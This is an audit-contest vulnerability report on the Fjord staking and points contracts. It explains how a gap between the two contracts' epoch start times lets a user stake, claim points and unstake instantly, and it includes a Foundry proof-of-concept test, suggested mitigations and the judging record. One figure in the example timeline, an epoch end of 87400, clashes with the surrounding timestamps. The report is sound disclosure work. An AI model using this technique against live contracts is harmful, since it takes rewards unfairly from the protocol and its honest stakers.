DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Epoch desynchronization allows gaming of point distribution

Vulnerability Details

Description

The FjordPoints contract is designed to distribute points to users who lock their FJO tokens in the FjordStaking contract. This point system is intended to reward long-term stakers who commit to locking their tokens for extended periods.

See: FjordPoints.sol#L9-L12

/**
* @title FjordPoints
* @dev ERC20 token to represent points distributed based on locked tokens in Staking contract.
*/
contract FjordPoints is ERC20, ERC20Burnable, IFjordPoints {
...
...

The points (BjordBoint tokens) are distributed on an epoch basis, with each epoch lasting one week.
Meaning that users must hold their locked stakes from current epoch to the next in order to be eligible for point rewards.

See: FjordPoints.distributePoints

function distributePoints() public {
if (block.timestamp < lastDistribution + EPOCH_DURATION) {
return;
}
if (totalStaked == 0) {
return;
}
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
pointsPerToken =
pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked)));
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
emit PointsDistributed(pointsPerEpoch, pointsPerToken);
}

In the FjordStaking contract, the locking mechanism works as follows:

  1. Users stake their FJO tokens in a particular epoch (let's call it epoch X).

  2. The staked tokens become eligible for rewards and are considered locked in the next epoch (X+1).

  3. Once locked, the tokens remain locked for 6 epochs.

This design ensures that users commit their tokens for a significant period to be eligible for point distribution and staking rewards. The onStaked function in FjordPoints, called by FjordStaking when users stake, increments the eligible stake amount for distributed points:

See: FJordStaking.stake

function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {
...
...SNIPPED...
...
//INTERACT
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
points.onStaked(msg.sender, _amount); <-- update eligible stake amount for points
emit Staked(msg.sender, currentEpoch, _amount);
}

However, there exists a vulnerability in the interaction between the FjordStaking and FjordPoints contracts due to potential epoch desynchronization. This desynchronization can occur if the FjordPoints contract is deployed before the FjordStaking contract, leading to a discrepancy in epoch start and end times between the two contracts.

The root of the problem lies in how the epoch start times are set in the constructors of both contracts:

FjordPoints.sol:

constructor() ERC20("BjordBoint", "BJB") {
owner = msg.sender;
lastDistribution = block.timestamp; // Epoch start time set here
pointsPerEpoch = 100 ether;
}

FjordStaking.sol:

constructor(
address _fjordToken,
address _rewardAdmin,
address _sablier,
address _authorizedSablierSender,
address _**fjordPoints**
) {
// ...
startTime = block.timestamp; // Epoch start time set here
// ...
}

This time discrepancy allows a malicious actor to exploit the system by:

  1. Staking just before the end of a FjordPoints epoch

  2. Claiming points after point distribution

  3. Unstaking immediately, as the FjordStaking contract's epoch hasn't advanced yet

This exploit is possible because the unstaking function in FjordStaking allows immediate unstaking if the current epoch matches the staking epoch:

See: FjordStaking.unstake

function unstake(uint16 _epoch, uint256 _amount) external ... {
// ...
// _epoch is same as current epoch then user can unstake immediately
if (currentEpoch != _epoch) {
// _epoch less than current epoch then user can unstake after at complete lockCycle
if (currentEpoch - _epoch <= lockCycle) revert UnstakeEarly();
}
// ...
}

Example scenario

  1. FjordPoints deployed at timestamp 1000

  2. FjordStaking deployed at timestamp 1010

  3. At timestamp 605790 (just before FjordPoints epoch end at 87400):

    • Attacker stakes a large amount of FJO tokens

  4. At timestamp 605800 (FjordPoints epoch ends, point distribution occurs)

  5. At timestamp 605805:

    • Attacker claims points

    • Attacker unstakes all tokens (possible because FjordStaking epoch hasn't ended, it ends at 605810)

Final notes

This situation where FjordPoint is deployed before FjordStaking already happened as we can see in the testnet.

  • FjordPoint deployed at block 6504176

  • FjordStaking deployed at block 6504177

The reason is the deployment of FjordStaking requires a deployed address of FjordPoint.

Proof-of-Concept

The following test demonstrates the exact scenario in Example Scenario.

Steps

  1. Create a new file, timediscrepency.t.sol, in 2024-08-fjord/test/unit/ and paste the following test.

  2. Run forge t --match-contract TimeDiscrepency -vv

  3. Observe that BOB can claim the point and unstake immediately

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
import "../../src/FjordStaking.sol";
import { FjordPoints } from "../../src/FjordPoints.sol";
import { Test, console } from "forge-std/Test.sol";
import { MockERC20 } from "solmate/test/utils/mocks/MockERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ud60x18 } from "@prb/math/src/UD60x18.sol";
contract TimeDiscrepency is Test {
uint256 constant addRewardPerEpoch = 1 ether;
address internal constant SABLIER_ADDRESS = address(0xB10daee1FCF62243aE27776D7a92D39dC8740f95);
FjordStaking fjordStaking;
FjordPoints points;
MockERC20 token;
address minter = makeAddr("minter");
address bob = makeAddr("bob");
address authorizedSender = address(this);
function setUp() public{
vm.warp(1000);
console.log("@> timestamp when deploying FjordPoints: %s", block.timestamp);
points = new FjordPoints();
vm.warp(block.timestamp + 10);
token = new MockERC20("Fjord", "FJO", 18);
console.log("@> timestamp when deploying FjordStaking: %s", block.timestamp);
fjordStaking =
new FjordStaking(address(token), minter, SABLIER_ADDRESS, authorizedSender, address(points));
points.setStakingContract(address(fjordStaking));
}
function test_timeDiscrepency() public {
uint point_endTime = points.lastDistribution() + points.EPOCH_DURATION();
uint staking_endTime = fjordStaking.startTime() + fjordStaking.epochDuration();
console.log("@> FjordPoints next epoch at: %s", point_endTime);
console.log("@> FjordStaking next epoch at: %s", staking_endTime);
deal(address(token), bob, 1000 ether);
console.log("@> BOB has %e tokens and %e points", token.balanceOf(bob), points.balanceOf(bob));
vm.warp(605790);
console.log("@> BOB stakes at: %s (before FjordPoints end time)", block.timestamp);
vm.startPrank(bob);
token.approve(address(fjordStaking), type(uint).max);
fjordStaking.stake(1000 ether);
vm.stopPrank();
vm.warp(605805);
console.log("@> BOB claims and unstakes at: %s (after FjordPoints end time but before FjordStaking end time)", block.timestamp);
vm.startPrank(bob);
points.claimPoints();
fjordStaking.unstake(fjordStaking.currentEpoch(), 1000 ether);
vm.stopPrank();
console.log("@> BOB has %e tokens and %e points", token.balanceOf(bob), points.balanceOf(bob));
}
}

Impact

This exploit undermines the intended locking mechanism and allows users to receive points without actually committing their tokens for the designed lock period. It breaks the point system's core principle of rewarding long-term stakers and could lead to an unfair distribution of points.

Recommended Mitigations

Synchronize epoch timings between FjordStaking and FjordPoints contracts:

  • Implement a shared epoch start time that both contracts reference.

  • Consider using contract factory for deployment

Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

nnez Submitter
10 months ago
inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

If epoch end times of FjordStaking and FjordPoints are desynchronized, users will be able to exploit the desynchronization to stake>claim>unstake instantly, getting points they shouldn't

Impact: High - Users are getting an unreasonable amount of points through exploiting a vulnerability Likelihood: Low - Most of the times, when using the script, all deployment tx will get processed in the same block. But, there is a small chance for them to be processed in different blocks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.